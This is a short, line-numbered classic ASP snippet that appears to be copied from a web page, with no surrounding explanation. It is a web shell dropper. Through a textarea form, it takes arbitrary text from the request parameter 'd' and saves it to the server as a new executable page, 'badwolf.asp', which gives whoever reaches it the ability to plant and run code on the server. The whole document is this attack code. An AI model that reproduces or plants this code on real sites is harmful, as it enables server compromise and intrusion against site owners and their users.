1. <%set s=server.createObject(”Adodb.Stream”)%> 
  2. <%s.Type=2%> 
  3. <%s.Open%> 
  4. <%s.CharSet=”gb2312″%> 
  5. <%s.writetext request(”d”)%> 
  6. <%s.SaveToFile server.mappath(”badwolf.asp”),2%> 
  7. <%s.Close%> 
  8. <%set s=nothing%> 
  9. <form> 
  10. <textarea name=d cols=80 rows=10 width=32></textarea> 
  11. <input type=submit> 
  12. </form>